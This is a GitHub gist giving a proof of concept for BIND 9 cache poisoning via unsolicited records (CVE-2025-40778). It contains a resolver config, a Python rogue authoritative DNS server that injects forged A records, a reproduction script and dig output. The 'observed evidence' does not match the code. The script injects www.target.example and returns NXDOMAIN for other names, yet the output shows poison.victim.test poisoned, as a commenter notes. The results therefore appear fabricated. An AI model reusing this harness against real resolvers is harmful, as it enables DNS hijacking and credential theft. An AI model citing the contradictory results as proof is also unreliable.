Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created October 23, 2025 10:34
Show Gist options
  • Select an option

  • Save N3mes1s/f76b4a606308937b0806a5256bc1f918 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/f76b4a606308937b0806a5256bc1f918 to your computer and use it in GitHub Desktop.
BIND 9 Cache Poisoning via Unsolicited Answer Records (CVE-2025-40778)

BIND 9 Cache Poisoning via Unsolicited Answer Records (CVE-2025-40778)

Overview

A vulnerable BIND 9 resolver (version 9.18.39) accepts and caches resource records that were not requested in the original DNS query. An off-path attacker who can race or spoof responses may inject forged address data into the resolver cache. Once poisoned, subsequent clients are redirected to attacker-controlled infrastructure without triggering fresh lookups. The issue is tracked as CVE-2025-40778 and carries a published CVSS v3.1 score of 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).

Affected Software

  • Product: BIND 9 recursive resolver
  • Version tested: 9.18.39 (affected)
  • Known affected ranges:
    • 9.11.0 – 9.16.50
    • 9.18.0 – 9.18.39
    • 9.20.0 – 9.20.13
    • 9.21.0 – 9.21.12
  • Patched releases: 9.18.41, 9.20.15, 9.21.14 (and corresponding Supported Preview Edition builds)

Root Cause

When processing responses, the resolver failed to validate that answer-section RRsets match the question (QNAME, QTYPE, and QCLASS) being resolved. The vulnerable logic allows additional A or CNAME records bundled in the answer section to be inserted into cache even if they relate to a different name. This breaks the assumption that off-path attackers must win a race on the exact tuple being asked and enables injection of arbitrary hostnames once a single subdomain query is spoofed.

In the tested build (lib/ns/query.c and lib/dns/resolver.c from 9.18.39), unsolicited answer records survive response processing and are cached with full TTL. Patched versions add stricter filtering that discards mismatched RRsets before caching.

Reproduction Environment

  • Ubuntu 24.04 (remote sandbox)
  • BIND 9.18.39 installed under /usr/local/bind-9.18.39
  • Python 3 virtual environment with dnslib
  • Loopback aliases: 127.0.0.1 (resolver) and 127.0.0.2 (malicious authoritative service)

Harness Components

The reproduction bundle includes the infrastructure used to demonstrate the bug:

Resolver configuration (repro/named.conf.vuln)

options {
    directory ".";
    recursion yes;
    allow-recursion { any; };
    allow-query { any; };
    listen-on port 5300 { 127.0.0.1; };
    forwarders {};
    dnssec-validation no;
    pid-file "named.pid";
    session-keyfile "session.key";
};

zone "victim.test" IN {
    type forward;
    forward only;
    forwarders { 127.0.0.2 port 5301; };
};

Malicious authoritative server (repro/authoritative_poison.py)

#!/usr/bin/env python3
import argparse
import sys
from dnslib import DNSRecord, RR, QTYPE, A
from dnslib.server import DNSServer, BaseResolver, DNSLogger

VICTIM_NAME = "www.victim.test."
POISON_NAME = "www.target.example."
VICTIM_IP = "198.51.100.10"
POISON_IP = "203.0.113.5"

class PoisonResolver(BaseResolver):
    def resolve(self, request: DNSRecord, handler):
        reply = request.reply()
        reply.header.ra = 0
        reply.header.aa = 1

        qname = request.q.qname
        if str(qname).lower() == VICTIM_NAME.lower():
            reply.add_answer(RR(VICTIM_NAME, QTYPE.A, rdata=A(VICTIM_IP), ttl=120))
            reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600))
        else:
            reply.header.rcode = 3  # NXDOMAIN
        return reply

def main():
    parser = argparse.ArgumentParser(description="Malicious authoritative DNS server returning unsolicited RRsets")
    parser.add_argument("--address", default="127.0.0.2")
    parser.add_argument("--port", type=int, default=5301)
    parser.add_argument("--verbose", action="store_true")
    args = parser.parse_args()

    resolver = PoisonResolver()
    logger = DNSLogger(prefix=False) if args.verbose else DNSLogger(prefix=False, log="request,reply,truncated,error")

    server = DNSServer(resolver, port=args.port, address=args.address, logger=logger, tcp=False)
    try:
        server.start_thread()
        while server.isAlive():
            server.join(1)
    except KeyboardInterrupt:
        pass
    except Exception as exc:
        print(f"[!] Server error: {exc}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    main()

Automated scenario (reproduction_steps.sh – excerpt)

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
WORKDIR="$ROOT/workdir"
mkdir -p "$WORKDIR"

BIND_PREFIX="/usr/local/bind-9.18.39"
BIND_NAMED="$BIND_PREFIX/sbin/named"
BUILD_ROOT="$(cd "$ROOT/.." && pwd)/bind-build"
TARBALL_URL="https://downloads.isc.org/isc/bind9/9.18.39/bind-9.18.39.tar.xz"
...
nohup python "$ROOT/authoritative_poison.py" --verbose > "$WORKDIR/ns_poison.log" 2>&1 &
NS_PID=$!
...
$BIND_NAMED -c "$ROOT/named.conf.vuln" -p 5300 -d 1 > "$WORKDIR/named.log" 2>&1 &
...
DIG_BASE="dig @127.0.0.1 -p 5300 +tries=1 +time=1"

$DIG_BASE www.victim.test A > "$WORKDIR/dig_victim.txt"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_with_attacker.txt"

kill "$NS_PID"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_cached.txt"

Reproduction Steps

  1. Build or install BIND 9.18.39 resolver binaries and place the above named.conf.vuln under a working directory.
  2. Launch the malicious authoritative service on 127.0.0.2:5301:
    python repro/authoritative_poison.py --verbose
  3. Start named with recursion enabled and the forwarding configuration:
    export LD_LIBRARY_PATH="/usr/local/bind-9.18.39/lib:$LD_LIBRARY_PATH"
    /usr/local/bind-9.18.39/sbin/named -c repro/named.conf.vuln -p 5300 -d 1 > repro/workdir/named.log 2>&1 &
  4. Issue a baseline query that triggers the attacker-controlled authoritative reply:
    dig @127.0.0.1 -p 5300 www.victim.test A +tries=1 +time=1
    The resolver contacts the malicious server, obtains both the legitimate www.victim.test A record and the unsolicited www.target.example A record, and inserts both into cache.
  5. While the attacker server is still running, query the injected hostname:
    dig @127.0.0.1 -p 5300 poison.victim.test A +tries=1 +time=1
    Observe the forged answer returning 203.0.113.5.
  6. Stop the attacker process and repeat the poison.victim.test query. The resolver now returns 203.0.113.5 from cache, demonstrating successful poisoning without any live malicious responder.

The reproduction_steps.sh script automates this sequence and records outputs under workdir/.

Observed Evidence

The scripted run (tool_310_run_shell.log) prints the captured dig transcripts:

=== Poisoned cache demonstration ===
1. Initial query output (www.victim.test):

; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 www.victim.test A
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29750
;; ANSWER SECTION:
www.victim.test. 120 IN A 198.51.100.10

2. Poisoned answer while attacker online (poison.victim.test):

; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 300 IN A 203.0.113.5

3. Cached attacker response after attacker shutdown (poison.victim.test):

; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 299 IN A 203.0.113.5
;; Query time: 0 msec (served entirely from cache)

Additional dig invocations captured earlier in the session (tool_129_run_shell.log, tool_137_run_shell.log) show identical forged answers with decrementing TTL, reinforcing that the resolver cached the unsolicited RRset.

Impact

Attackers can redirect any domain reachable through the recursive resolver by injecting arbitrary A or CNAME records into cache. This enables credential theft, malware distribution, or man-in-the-middle attacks against downstream clients that trust the resolver. Because the attack is off-path and requires no authentication, widely deployed resolvers are at risk until patched.

Related Weakness

  • CWE-345 – Insufficient Verification of Data Authenticity

Mitigations

  • Upgrade resolvers to a patched release (9.18.41, 9.20.15, 9.21.14, or newer maintenance builds) as provided by ISC.
  • Until upgrades are complete, restrict recursion to trusted clients, employ DNSSEC validation, and monitor caches for unexpected RRsets. Note these measures reduce but do not eliminate risk.

References

  • ISC Advisory: Cache poisoning attacks with unsolicited RRs
  • CVE-2025-40778 (ICS security advisory database)
  • Repository diff highlights (9.18.39 → 9.18.41) showing tightened answer-section filtering in lib/dns/resolver.c and lib/ns/query.c.
@DavLav-NI
Copy link

Hi,

I see that in the Pythorn authoritative name Server implementation, you're using www.target.example. as A record for the poisoned IP while you use poison.victim.test in the dig query examples.

Am I missing something? Should the POISON_NAME variabile be assigned the "poison.victim.test" string?

Thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment